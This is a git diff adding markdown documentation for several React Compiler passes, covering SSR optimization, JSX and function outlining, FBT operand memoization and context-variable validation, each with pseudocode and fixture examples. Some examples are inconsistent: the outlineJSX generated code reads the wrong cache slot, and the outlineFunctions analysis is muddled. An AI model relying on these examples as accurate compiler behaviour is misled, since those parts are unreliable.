+- The method property becomes the callee of the call
+- Arguments are preserved exactly
+
+## Algorithm
+
+```typescript
+export function optimizePropsMethodCalls(fn: HIRFunction): void {
+  for (const [, block] of fn.body.blocks) {
+    for (let i = 0; i < block.instructions.length; i++) {
+      const instr = block.instructions[i]!;
+
+      if (
+        instr.value.kind === 'MethodCall' &&
+        isPropsType(instr.value.receiver.identifier)
+      ) {
+        // Transform: props.onClick(arg)
+        // To: const t0 = props.onClick; t0(arg)
+        instr.value = {
+          kind: 'CallExpression',
+          callee: instr.value.property,  // The method becomes the callee
+          args: instr.value.args,
+          loc: instr.value.loc,
+        };
+      }
+    }
+  }
+}
+
+function isPropsType(identifier: Identifier): boolean {
+  return (
+    identifier.type.kind === 'Object' &&
+    identifier.type.shapeId === BuiltInPropsId
+  );
+}
+```
+
+## Edge Cases
+
+### Non-Props Method Calls
+Method calls on non-props objects are left unchanged:
+```javascript
+// Unchanged - array.map is not on props
+array.map(x => x * 2)
+
+// Unchanged - obj is not props
+obj.method()
+```
+
+### Props Type Detection
+The pass uses type information to identify props:
+```javascript
+function Component(props) {
+  // props has type TObject<BuiltInProps>
+  props.onClick();  // Transformed
+}
+
+function Regular(obj) {
+  // obj has unknown type
+  obj.onClick();  // Not transformed
+}
+```
+
+### Nested Props Access
+Only direct method calls on props are transformed:
+```javascript
+props.onClick();       // Transformed
+props.nested.onClick(); // Not transformed (receiver is props.nested, not props)
+```
+
+### Arrow Function Callbacks
+Works with any method on props:
+```javascript
+props.onChange(value);   // Transformed
+props.onSubmit(data);    // Transformed
+props.validate(input);   // Transformed
+```
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: Using props method
+
+**Input:**
+```javascript
+function Component(props) {
+  return <button onClick={() => props.onClick()} />;
+}
+```
+
+**Before OptimizePropsMethodCalls:**
+```
+[1] $5 = Function @context[props$1] ...
+    <<anonymous>>():
+      [1] $2 = LoadLocal props$1
+      [2] $3 = PropertyLoad $2.onClick
+      [3] $4 = MethodCall $2.$3()  // Method call on props
+      [4] Return Void
+```
+
+**After OptimizePropsMethodCalls:**
+```
+[1] $5 = Function @context[props$1] ...
+    <<anonymous>>():
+      [1] $2 = LoadLocal props$1
+      [2] $3 = PropertyLoad $2.onClick
+      [3] $4 = Call $3()  // Now a regular call
+      [4] Return Void
+```
+
+Key observations:
+- `MethodCall $2.$3()` becomes `Call $3()`
+- The property load (`$3 = PropertyLoad $2.onClick`) is preserved
+- The receiver (`$2`) is no longer part of the call
+- This enables the compiler to analyze `onClick` as a regular function
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/35-optimizeForSSR.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/35-optimizeForSSR.md
new file mode 100644
index 000000000000..34ba5b431f34
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/35-optimizeForSSR.md
@@ -0,0 +1,187 @@
+# optimizeForSSR
+
+## File
+`src/Optimization/OptimizeForSSR.ts`
+
+## Purpose
+This pass applies Server-Side Rendering (SSR) specific optimizations. During SSR, React renders components to HTML strings without mounting them in the DOM. This means:
+
+1. **Effects don't run** - `useEffect` and `useLayoutEffect` are no-ops
+2. **Event handlers aren't needed** - There's no DOM to attach handlers to
+3. **State is never updated** - Components render once with initial state
+4. **Refs aren't attached** - There's no DOM to ref
+
+The pass leverages these SSR characteristics to inline and simplify code, removing unnecessary runtime overhead.
+
+## Input Invariants
+- The function has been through type inference
+- Hook types are properly identified (useState, useReducer, useEffect, etc.)
+- Function types for callbacks are properly inferred
+
+## Output Guarantees
+- `useState(initialValue)` is inlined to just `[initialValue, noop]`
+- `useReducer(reducer, initialArg, init?)` is inlined to `[init ? init(initialArg) : initialArg, noop]`
+- `useEffect` and `useLayoutEffect` calls are removed entirely
+- Event handler functions (functions that call setState) are replaced with empty functions
+- Ref-typed values are removed from JSX props
+
+## Algorithm
+
+### Phase 1: Identify Inlinable State
+```typescript
+const inlinedState = new Map<IdentifierId, InstructionValue>();
+
+for (const instr of block.instructions) {
+  if (isUseStateCall(instr)) {
+    // Store the initial value for inlining
+    inlinedState.set(instr.lvalue.id, {
+      kind: 'ArrayExpression',
+      elements: [initialValue, noopFunction],
+    });
+  }
+
+  if (isUseReducerCall(instr)) {
+    // Compute initial state and store for inlining
+    const initialState = init ? callInit(initialArg) : initialArg;
+    inlinedState.set(instr.lvalue.id, {
+      kind: 'ArrayExpression',
+      elements: [initialState, noopFunction],
+    });
+  }
+}
+```
+
+### Phase 2: Inline State Hooks
+Replace useState/useReducer with their computed initial values:
+```typescript
+// Before:
+$0 = useState(0)
+[state, setState] = $0
+
+// After (inlined):
+$0 = [0, () => {}]
+[state, setState] = $0
+```
+
+### Phase 3: Remove Effects
+```typescript
+if (isUseEffectCall(instr) || isUseLayoutEffectCall(instr)) {
+  // Remove the instruction entirely
+  block.instructions.splice(i, 1);
+}
+```
+
+### Phase 4: Identify and Neuter Event Handlers
+```typescript
+// Functions that capture and call setState are event handlers
+if (capturesSetState(functionExpr)) {
+  // Replace with empty function
+  instr.value = {
+    kind: 'FunctionExpression',
+    params: originalParams,
+    body: emptyBody,
+  };
+}
+```
+
+### Phase 5: Remove Ref Props
+```typescript
+if (isJSX(instr) && hasRefProp(instr)) {
+  // Remove ref={...} from JSX props
+  removeRefProp(instr.value);
+}
+```
+
+## Edge Cases
+
+### useState with Function Initializer
+When `useState` receives a function initializer, it must be called:
+```javascript
+// useState(() => expensive())
+// SSR: Call the initializer to get the value
+const [state] = [expensiveComputation(), noop];
+```
+
+### useReducer with Init Function
+The optional `init` function is called with `initialArg`:
+```javascript
+// useReducer(reducer, arg, init)
+// SSR: [init(arg), noop]
+```
+
+### Nested State Setters
+Functions that transitively call setState are also event handlers:
+```javascript
+function outer() {
+  function inner() {
+    setState(x);  // inner is event handler
+  }
+  inner();  // outer is also event handler
+}
+```
+
+### Conditional Event Handlers
+Event handler detection is conservative - if a function might call setState, it's treated as an event handler.
+
+### Refs in Nested Objects
+Only direct `ref` props on JSX are removed:
+```javascript
+<div ref={myRef} />           // ref removed
+<div config={{ref: myRef}} /> // ref NOT removed (nested)
+```
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `ssr/optimize-ssr.js`
+
+**Input:**
+```javascript
+function Component() {
+  const [state, setState] = useState(0);
+  const ref = useRef(null);
+  const onChange = (e) => {
+    setState(e.target.value);
+  };
+  useEffect(() => {
+    log(ref.current.value);
+  });
+  return <input value={state} onChange={onChange} ref={ref} />;
+}
+```
+
+**After SSR Optimization:**
+```javascript
+function Component() {
+  const $ = _c(1);
+  // useState inlined to [initialValue, noop]
+  const [state] = [0, () => {}];
+
+  // useRef returns object with current: null
+  const ref = { current: null };
+
+  // Event handler replaced with noop (it calls setState)
+  const onChange = () => {};
+
+  // useEffect removed entirely (no-op on SSR)
+
+  // ref prop removed from JSX
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <input value={state} onChange={onChange} />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+```
+
+Key observations:
+- `useState(0)` becomes `[0, () => {}]` - no hook call
+- `useEffect(...)` is removed entirely
+- `onChange` is replaced with empty function since it called `setState`
+- `ref={ref}` prop is removed from JSX
+- SSR output is simpler and has less runtime overhead
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/36-outlineJSX.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/36-outlineJSX.md
new file mode 100644
index 000000000000..4131d38aef10
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/36-outlineJSX.md
@@ -0,0 +1,224 @@
+# outlineJSX
+
+## File
+`src/Optimization/OutlineJsx.ts`
+
+## Purpose
+This pass outlines nested JSX elements into separate component functions. When a callback function contains JSX, this pass can extract that JSX into a new component, which enables:
+
+1. **Better code splitting** - Outlined components can be lazily loaded
+2. **Memoization at component boundaries** - React's reconciliation can skip unchanged subtrees
+3. **Reduced closure captures** - Outlined components receive props explicitly
+
+The pass specifically targets JSX within callbacks (like `.map()` callbacks) rather than top-level component returns.
+
+## Input Invariants
+- The `enableJsxOutlining` feature flag must be enabled
+- The function must be a React component or hook
+- JSX must appear within a nested function expression (callback)
+
+## Output Guarantees
+- Nested functions containing only JSX returns are extracted as separate components
+- The original callback is replaced with a call to the outlined component
+- Captured variables become explicit props to the outlined component
+- The outlined component is registered with the environment for emission
+
+## Algorithm
+
+### Phase 1: Identify Outlinable JSX
+```typescript
+function outlineJsxImpl(fn: HIRFunction, outlinedFns: Array<HIRFunction>): void {
+  for (const [, block] of fn.body.blocks) {
+    for (const instr of block.instructions) {
+      if (instr.value.kind === 'FunctionExpression') {
+        const innerFn = instr.value.loweredFunc.func;
+
+        // Check if function only returns JSX
+        if (canOutline(innerFn)) {
+          const outlined = createOutlinedComponent(innerFn);
+          outlinedFns.push(outlined);
+          replaceWithComponentCall(instr, outlined);
+        }
+      }
+    }
+  }
+}
+```
+
+### Phase 2: Check Outlinability
+```typescript
+function canOutline(fn: HIRFunction): boolean {
+  // Must have exactly one block with only JSX-related instructions
+  // Must end with returning JSX
+  // Must not have complex control flow
+
+  return (
+    fn.body.blocks.size === 1 &&
+    returnsJSX(fn) &&
+    !hasComplexControlFlow(fn)
+  );
+}
+```
+
+### Phase 3: Create Outlined Component
+```typescript
+function createOutlinedComponent(fn: HIRFunction): HIRFunction {
+  // Convert captured context to props
+  const props = fn.context.map(capture => ({
+    name: capture.identifier.name,
+    type: capture.identifier.type,
+  }));
+
+  // Create new component function
+  return {
+    ...fn,
+    params: [{kind: 'Identifier', name: 'props', ...}],
+    context: [],  // No captures - all via props
+  };
+}
+```
+
+### Phase 4: Replace Original Callback
+```typescript
+function replaceWithComponentCall(instr: Instruction, outlined: HIRFunction): void {
+  // Original: items.map(item => <Stringify item={item} />)
+  // Becomes: items.map(item => <OutlinedComponent item={item} />)
+
+  instr.value = {
+    kind: 'JSX',
+    tag: {kind: 'LoadGlobal', name: outlined.id},
+    props: capturedVariablesToProps(instr.value.context),
+  };
+}
+```
+
+### Phase 5: Register Outlined Functions
+```typescript
+export function outlineJSX(fn: HIRFunction): void {
+  const outlinedFns: Array<HIRFunction> = [];
+  outlineJsxImpl(fn, outlinedFns);
+
+  for (const outlinedFn of outlinedFns) {
+    fn.env.outlineFunction(outlinedFn, 'Component');
+  }
+}
+```
+
+## Edge Cases
+
+### Context Captures
+Variables captured by the callback become props:
+```javascript
+// Before:
+items.map(item => <Card key={item.id} user={currentUser} item={item} />)
+
+// After (outlined):
+function OutlinedCard(props) {
+  return <Card key={props.item.id} user={props.currentUser} item={props.item} />;
+}
+items.map(item => <OutlinedCard currentUser={currentUser} item={item} />)
+```
+
+### Complex Control Flow
+Callbacks with conditionals or loops are not outlined:
+```javascript
+// Not outlined - has conditional
+items.map(item => item.show ? <Card item={item} /> : null)
+```
+
+### Multiple JSX Returns
+Only single-JSX-return callbacks are outlined:
+```javascript
+// Not outlined - multiple potential returns
+items.map(item => {
+  if (item.type === 'a') return <TypeA item={item} />;
+  return <TypeB item={item} />;
+})
+```
+
+### Top-Level JSX
+Only JSX in nested callbacks is outlined, not component return values:
+```javascript
+function Component() {
+  return <div />;  // Not outlined - this is the component's return
+}
+```
+
+### Recursive Outlining
+The pass recursively processes outlined components to outline their nested JSX.
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `outlined-helper.js`
+
+**Input:**
+```javascript
+// @enableFunctionOutlining
+function Component(props) {
+  return (
+    <div>
+      {props.items.map(item => (
+        <Stringify key={item.id} item={item.name} />
+      ))}
+    </div>
+  );
+}
+```
+
+**After OutlineJSX:**
+```
+// Outlined component:
+function _outlined_Component$1(props) {
+  return <Stringify key={props.item.id} item={props.item.name} />;
+}
+
+// Original component modified:
+function Component(props) {
+  return (
+    <div>
+      {props.items.map(item => (
+        <_outlined_Component$1 item={item} />
+      ))}
+    </div>
+  );
+}
+```
+
+**Generated Code:**
+```javascript
+function _outlined_Component$1(props) {
+  const $ = _c(2);
+  const item = props.item;
+  let t0;
+  if ($[0] !== item.id || $[1] !== item.name) {
+    t0 = <Stringify key={item.id} item={item.name} />;
+    $[0] = item.id;
+    $[1] = item.name;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.items) {
+    t0 = props.items.map((item) => <_outlined_Component$1 item={item} />);
+    $[0] = props.items;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return <div>{t0}</div>;
+}
+```
+
+Key observations:
+- The map callback JSX is extracted into `_outlined_Component$1`
+- The `item` variable becomes a prop instead of a closure capture
+- The outlined component gets its own memoization cache
+- This enables React to skip re-rendering unchanged list items
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/37-outlineFunctions.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/37-outlineFunctions.md
new file mode 100644
index 000000000000..6853c4625cca
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/37-outlineFunctions.md
@@ -0,0 +1,169 @@
+# outlineFunctions
+
+## File
+`src/Optimization/OutlineFunctions.ts`
+
+## Purpose
+This pass outlines pure function expressions that have no captured context into top-level helper functions. By moving these functions outside the component, they become truly static and can be shared across renders without any memoization overhead.
+
+A function with no captured context is completely self-contained - it only uses its parameters and globals. Such functions don't need to be recreated on each render and can be hoisted to module scope.
+
+## Input Invariants
+- The `enableFunctionOutlining` feature flag must be enabled
+- Functions must have `context.length === 0` (no captured variables)
+- Functions must be anonymous (no `id` property)
+- Functions must not be FBT macro operands (tracked by `fbtOperands` parameter)
+
+## Output Guarantees
+- Pure function expressions are replaced with `LoadGlobal` of the outlined function
+- Outlined functions are registered with the environment for emission
+- The original instruction is transformed to load the global
+
+## Algorithm
+
+```typescript
+export function outlineFunctions(
+  fn: HIRFunction,
+  fbtOperands: Set<IdentifierId>,
+): void {
+  for (const [, block] of fn.body.blocks) {
+    for (let i = 0; i < block.instructions.length; i++) {
+      const instr = block.instructions[i]!;
+
+      if (
+        instr.value.kind === 'FunctionExpression' &&
+        instr.value.loweredFunc.func.context.length === 0 &&
+        instr.value.loweredFunc.func.id === null &&
+        !fbtOperands.has(instr.lvalue.identifier.id)
+      ) {
+        // Outline this function
+        const outlinedId = fn.env.outlineFunction(
+          instr.value.loweredFunc.func,
+          'helper',
+        );
+
+        // Replace with LoadGlobal
+        instr.value = {
+          kind: 'LoadGlobal',
+          binding: {
+            kind: 'ModuleLocal',
+            name: outlinedId,
+          },
+          loc: instr.value.loc,
+        };
+      }
+    }
+  }
+}
+```
+
+## Edge Cases
+
+### Functions with Context
+Functions that capture variables are not outlined:
+```javascript
+function Component(props) {
+  const x = props.value;
+  const fn = () => x * 2;  // Captures x, not outlined
+}
+```
+
+### Named Functions
+Functions with explicit names are not outlined:
+```javascript
+const foo = function namedFn() { ... };  // Has id, not outlined
+```
+
+### FBT Operands
+Functions used as FBT operands cannot be outlined due to translation requirements:
+```javascript
+<fbt>
+  Hello <fbt:param name="user">{() => getName()}</fbt:param>
+</fbt>
+// The function cannot be outlined - FBT needs it inline
+```
+
+### Arrow Functions vs Function Expressions
+Both arrow functions and function expressions are candidates:
+```javascript
+const a = () => 1;           // Outlined if no context
+const b = function() {};     // Outlined if no context
+```
+
+### Recursive Functions
+Self-referencing functions cannot be outlined (they would have themselves in context):
+```javascript
+const fib = (n) => n <= 1 ? n : fib(n-1) + fib(n-2);  // References self
+```
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `outlined-helper.js`
+
+**Input:**
+```javascript
+// @enableFunctionOutlining
+function Component(props) {
+  return (
+    <div>
+      {props.items.map(item => (
+        <Stringify key={item.id} item={item.name} />
+      ))}
+    </div>
+  );
+}
+```
+
+**Analysis:**
+The map callback `item => <Stringify .../>` has one captured variable: nothing from the component (only uses `item` parameter). However, it receives `item` as a parameter, not from context.
+
+If we have a truly pure helper:
+```javascript
+// @enableFunctionOutlining
+function Component(props) {
+  const double = (x) => x * 2;  // No context, pure
+  return <div>{double(props.value)}</div>;
+}
+```
+
+**After OutlineFunctions:**
+```
+// Outlined to module scope:
+function _outlined_double$1(x) {
+  return x * 2;
+}
+
+// In component:
+[1] $1 = LoadGlobal _outlined_double$1  // Instead of FunctionExpression
+[2] StoreLocal Const double = $1
+```
+
+**Generated Code:**
+```javascript
+function _outlined_double$1(x) {
+  return x * 2;
+}
+
+function Component(props) {
+  const $ = _c(2);
+  const double = _outlined_double$1;  // Just a reference, no recreation
+  let t0;
+  if ($[0] !== props.value) {
+    t0 = <div>{double(props.value)}</div>;
+    $[0] = props.value;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+```
+
+Key observations:
+- The pure function is hoisted to module scope
+- The component just references the outlined function
+- No memoization needed for the function itself
+- Reduces runtime overhead by avoiding function recreation
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/38-memoizeFbtAndMacroOperandsInSameScope.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/38-memoizeFbtAndMacroOperandsInSameScope.md
new file mode 100644
index 000000000000..2d9aec606600
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/38-memoizeFbtAndMacroOperandsInSameScope.md
@@ -0,0 +1,231 @@
+# memoizeFbtAndMacroOperandsInSameScope
+
+## File
+`src/ReactiveScopes/MemoizeFbtAndMacroOperandsInSameScope.ts`
+
+## Purpose
+This pass ensures that FBT (Facebook Translation) expressions and their operands are memoized within the same reactive scope. FBT is Facebook's internationalization system that requires special handling to ensure translations work correctly.
+
+The key insight is that FBT operands must be computed and frozen together with the FBT call itself. If operands were memoized in separate scopes, the translation system could receive stale operand values when only some inputs change.
+
+## Input Invariants
+- The function has been through type inference
+- FBT calls (`fbt`, `fbt.c`, `fbt:param`, etc.) are properly identified
+- Custom macros are configured in `fn.env.config.customMacros`
+- Reactive scope variables have been inferred
+
+## Output Guarantees
+- All operands of FBT calls are assigned to the same reactive scope as the FBT call
+- The `fbtOperands` set is returned for use by other passes (e.g., `outlineFunctions`)
+- Operand scope assignments use either transitive or shallow inlining based on macro definition
+
+## Algorithm
+
+### Phase 1: Collect Macro Kinds
+```typescript
+const macroKinds = new Map<Macro, MacroDefinition>([
+  ...Array.from(FBT_TAGS.entries()),  // Built-in fbt tags
+  ...(fn.env.config.customMacros ?? []).map(([name, def]) => [name, def]),
+]);
+```
+
+### Phase 2: Populate Macro Tags
+```typescript
+function populateMacroTags(
+  fn: HIRFunction,
+  macroKinds: Map<Macro, MacroDefinition>,
+): Map<IdentifierId, MacroDefinition> {
+  const macroTags = new Map();
+
+  for (const instr of allInstructions(fn)) {
+    if (isLoadGlobal(instr) || isPropertyLoad(instr)) {
+      const name = getName(instr);
+      if (macroKinds.has(name)) {
+        macroTags.set(instr.lvalue.id, macroKinds.get(name));
+      }
+    }
+  }
+
+  return macroTags;
+}
+```
+
+### Phase 3: Merge Macro Arguments
+```typescript
+function mergeMacroArguments(
+  fn: HIRFunction,
+  macroTags: Map<IdentifierId, MacroDefinition>,
+  macroKinds: Map<Macro, MacroDefinition>,
+): Set<IdentifierId> {
+  const macroValues = new Set<IdentifierId>();
+
+  for (const instr of allInstructions(fn)) {
+    if (isCall(instr) || isMethodCall(instr) || isJSX(instr)) {
+      const callee = getCallee(instr);
+      const macroDef = macroTags.get(callee.id);
+
+      if (macroDef !== undefined) {
+        // Mark all operands to be in same scope
+        for (const operand of getOperands(instr)) {
+          macroValues.add(operand.id);
+
+          // Merge scope to match macro call scope
+          if (macroDef.inlineLevel === InlineLevel.Transitive) {
+            mergeScopesTransitively(operand, instr.lvalue);
+          } else {
+            mergeScopes(operand, instr.lvalue);
+          }
+        }
+      }
+    }
+  }
+
+  return macroValues;
+}
+```
+
+### InlineLevel Types
+```typescript
+enum InlineLevel {
+  Shallow,     // Only merge direct operands
+  Transitive,  // Merge operands and their dependencies
+}
+```
+
+## Edge Cases
+
+### Nested FBT Params
+FBT params can be nested, and all levels must be in the same scope:
+```javascript
+<fbt>
+  Hello <fbt:param name="user">
+    <fbt:param name="firstName">{user.firstName}</fbt:param>
+  </fbt:param>
+</fbt>
+```
+
+### FBT with Complex Expressions
+Complex expressions as operands have their entire dependency chain merged:
+```javascript
+<fbt>
+  Count: <fbt:param name="count">{items.length * multiplier}</fbt:param>
+</fbt>
+// Both items.length and multiplier expressions are merged into fbt scope
+```
+
+### Custom Macros
+User-defined macros can specify their inlining behavior:
+```typescript
+customMacros: [
+  ['myMacro', { inlineLevel: InlineLevel.Transitive }],
+]
+```
+
+### Method Calls on FBT
+`fbt.param()`, `fbt.plural()`, etc. are handled as method calls:
+```javascript
+fbt(
+  fbt.param('count', items.length),  // MethodCall on fbt
+  'description'
+)
+```
+
+### JSX vs Call Syntax
+Both JSX and call syntax for FBT are handled:
+```javascript
+// JSX syntax
+<fbt desc="greeting">Hello</fbt>
+
+// Call syntax
+fbt('Hello', 'greeting')
+```
+
+## Built-in FBT Tags
+The pass recognizes these FBT constructs:
+- `fbt` / `fbt.c` - Main translation functions
+- `fbt:param` - Parameter substitution
+- `fbt:plural` - Plural handling
+- `fbt:enum` - Enumeration values
+- `fbt:name` - Name parameters
+- `fbt:pronoun` - Pronoun handling
+- `fbs` - Simple string translation
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `fbt/fbt-call.js`
+
+**Input:**
+```javascript
+function Component(props) {
+  const text = fbt(
+    `${fbt.param('count', props.count)} items`,
+    'Number of items'
+  );
+  return <div>{text}</div>;
+}
+```
+
+**Before MemoizeFbtAndMacroOperandsInSameScope:**
+```
+[1] $18 = LoadGlobal import fbt from 'fbt'
+[2] $19 = LoadGlobal import fbt from 'fbt'
+[3] $20_@0[3:8] = PropertyLoad $19.param
+[4] $21 = "(key) count"
+[5] $22 = LoadLocal props$17
+[6] $23 = PropertyLoad $22.count
+[7] $24_@0[3:8] = MethodCall $19.$20_@0($21, $23)  // fbt.param call
+[8] $25 = `${$24_@0} items`
+[9] $26 = "(description) Number of items"
+[10] $27_@1 = Call $18($25, $26)  // fbt call
+```
+
+**After MemoizeFbtAndMacroOperandsInSameScope:**
+```
+[1] $18_@1[1:11] = LoadGlobal import fbt from 'fbt'  // Merged to @1
+[2] $19 = LoadGlobal import fbt from 'fbt'
+[3] $20_@0[3:8] = PropertyLoad $19.param
+[4] $21 = "(key) count"
+[5] $22 = LoadLocal props$17
+[6] $23 = PropertyLoad $22.count
+[7] $24_@1[1:11] = MethodCall $19.$20_@0($21, $23)  // Merged to @1
+[8] $25_@1[1:11] = `${$24_@1} items`                // Merged to @1
+[9] $26_@1[1:11] = "(description) Number of items" // Merged to @1
+[10] $27_@1[1:11] = Call $18_@1($25_@1, $26_@1)     // Main fbt scope @1
+```
+
+**Generated Code:**
+```javascript
+function Component(props) {
+  const $ = _c(3);
+  let t0;
+  if ($[0] !== props.count) {
+    // All fbt operands computed in same memoization block
+    t0 = fbt(
+      `${fbt.param("count", props.count)} items`,
+      "Number of items"
+    );
+    $[0] = props.count;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const text = t0;
+  let t1;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = <div>{text}</div>;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+```
+
+Key observations:
+- All FBT-related operations are in the same memoization scope `@1`
+- `fbt.param`, template literal, and `fbt` call are memoized together
+- This ensures the translation system receives consistent operand values
+- The entire translation is recomputed when any operand (`props.count`) changes
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/39-validateContextVariableLValues.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/39-validateContextVariableLValues.md
new file mode 100644
index 000000000000..abf519c69b9c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/39-validateContextVariableLValues.md
@@ -0,0 +1,192 @@
+# validateContextVariableLValues
+
+## File
+`src/Validation/ValidateContextVariableLValues.ts`
+
+## Purpose
+This validation pass ensures that all load/store references to a given named identifier are consistent with the "kind" of that variable (normal local variable or context variable). Context variables are variables that are captured by closures and require special handling for correct closure semantics.
+
+The pass prevents mixing context variable operations (`DeclareContext`, `StoreContext`, `LoadContext`) with local variable operations (`DeclareLocal`, `StoreLocal`, `LoadLocal`, `Destructure`) on the same identifier.
+
+## Input Invariants
+- The function has been lowered to HIR
+- All instructions have been categorized by kind
+- Nested function expressions have been lowered
+
+## Validation Rules
+
+### Rule 1: Consistent Variable Kind
+All references to the same identifier must use consistent load/store operations:
+- Context variables must only use `DeclareContext`, `StoreContext`, `LoadContext`
+- Local variables must only use `DeclareLocal`, `StoreLocal`, `LoadLocal`
+
+**Error (Invariant violation):**
+```
+Expected all references to a variable to be consistently local or context references
+Identifier [place] is referenced as a [kind] variable, but was previously referenced as a [prev.kind] variable
+```
+
+### Rule 2: No Destructuring of Context Variables
+Context variables cannot be destructured using the `Destructure` instruction.
+
+**Error (Todo):**
+```
+Support destructuring of context variables
+```
+
+### Rule 3: Unhandled Instruction Variants
+If an instruction has lvalues that the pass does not handle, it throws a Todo error.
+
+**Error (Todo):**
+```
+ValidateContextVariableLValues: unhandled instruction variant
+Handle '[kind]' lvalues
+```
+
+## Algorithm
+
+### Phase 1: Initialize Tracking
+```typescript
+const identifierKinds: Map<IdentifierId, {place: Place, kind: 'local' | 'context' | 'destructure'}> = new Map();
+```
+
+### Phase 2: Visit All Instructions
+The pass iterates through all blocks and instructions, categorizing each based on its kind:
+
+```typescript
+for (const [, block] of fn.body.blocks) {
+  for (const instr of block.instructions) {
+    switch (value.kind) {
+      case 'DeclareContext':
+      case 'StoreContext':
+        visit(identifierKinds, value.lvalue.place, 'context');
+        break;
+      case 'LoadContext':
+        visit(identifierKinds, value.place, 'context');
+        break;
+      case 'StoreLocal':
+      case 'DeclareLocal':
+        visit(identifierKinds, value.lvalue.place, 'local');
+        break;
+      case 'LoadLocal':
+        visit(identifierKinds, value.place, 'local');
+        break;
+      case 'PostfixUpdate':
+      case 'PrefixUpdate':
+        visit(identifierKinds, value.lvalue, 'local');
+        break;
+      case 'Destructure':
+        for (const lvalue of eachPatternOperand(value.lvalue.pattern)) {
+          visit(identifierKinds, lvalue, 'destructure');
+        }
+        break;
+      case 'ObjectMethod':
+      case 'FunctionExpression':
+        // Recursively validate nested functions
+        validateContextVariableLValuesImpl(value.loweredFunc.func, identifierKinds);
+        break;
+    }
+  }
+}
+```
+
+### Phase 3: Check Consistency
+For each place visited, the `visit` function checks if the identifier was previously seen with a different kind:
+
+```typescript
+function visit(identifiers, place, kind) {
+  const prev = identifiers.get(place.identifier.id);
+  if (prev !== undefined) {
+    const wasContext = prev.kind === 'context';
+    const isContext = kind === 'context';
+    if (wasContext !== isContext) {
+      // Check for destructuring of context variable
+      if (prev.kind === 'destructure' || kind === 'destructure') {
+        CompilerError.throwTodo({
+          reason: `Support destructuring of context variables`,
+          ...
+        });
+      }
+      // Invariant violation: inconsistent variable kinds
+      CompilerError.invariant(false, {
+        reason: 'Expected all references to be consistently local or context references',
+        ...
+      });
+    }
+  }
+  identifiers.set(place.identifier.id, {place, kind});
+}
+```
+
+## Edge Cases
+
+### Nested Function Expressions
+The validation recursively processes nested function expressions and object methods, sharing the same `identifierKinds` map. This ensures that a variable captured by a nested function is consistently treated as a context variable throughout the entire function hierarchy.
+
+### Destructuring Patterns
+Each operand in a destructure pattern is visited individually, marked as 'destructure' kind. If the same identifier was previously used as a context variable, a Todo error is thrown since destructuring of context variables is not yet supported.
+
+### Update Expressions
+Both `PostfixUpdate` (e.g., `x++`) and `PrefixUpdate` (e.g., `++x`) are treated as local variable operations.
+
+## TODOs
+
+1. **Destructuring of context variables** - Currently not supported:
+   ```typescript
+   CompilerError.throwTodo({
+     reason: `Support destructuring of context variables`,
+     ...
+   });
+   ```
+
+2. **Unhandled instruction variants** - Some instruction types with lvalues may not be handled:
+   ```typescript
+   CompilerError.throwTodo({
+     reason: 'ValidateContextVariableLValues: unhandled instruction variant',
+     description: `Handle '${value.kind}' lvalues`,
+     ...
+   });
+   ```
+
+## Example
+
+### Fixture: `error.todo-for-of-loop-with-context-variable-iterator.js`
+
+**Input:**
+```javascript
+import {useHook} from 'shared-runtime';
+
+function Component(props) {
+  const data = useHook();
+  const items = [];
+  // NOTE: `item` is a context variable because it's reassigned and also referenced
+  // within a closure, the `onClick` handler of each item
+  for (let item of props.data) {
+    item = item ?? {}; // reassignment to force a context variable
+    items.push(
+      <div key={item.id} onClick={() => data.set(item)}>
+        {item.id}
+      </div>
+    );
+  }
+  return <div>{items}</div>;
+}
+```
+
+**Error:**
+```
+Todo: Support non-trivial for..of inits
+
+error.todo-for-of-loop-with-context-variable-iterator.ts:8:2
+   6 |   // NOTE: `item` is a context variable because it's reassigned and also referenced
+   7 |   // within a closure, the `onClick` handler of each item
+>  8 |   for (let item of props.data) {
+     |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+>  9 |     item = item ?? {}; // reassignment to force a context variable
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+...
+> 15 |   }
+     | ^^^^ Support non-trivial for..of inits
+```
+
+Note: This particular error comes from an earlier pass (lowering), but demonstrates the kind of context variable scenarios that this validation is designed to catch.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/40-validateUseMemo.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/40-validateUseMemo.md
new file mode 100644
index 000000000000..b1863d973385
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/40-validateUseMemo.md
@@ -0,0 +1,299 @@
+# validateUseMemo
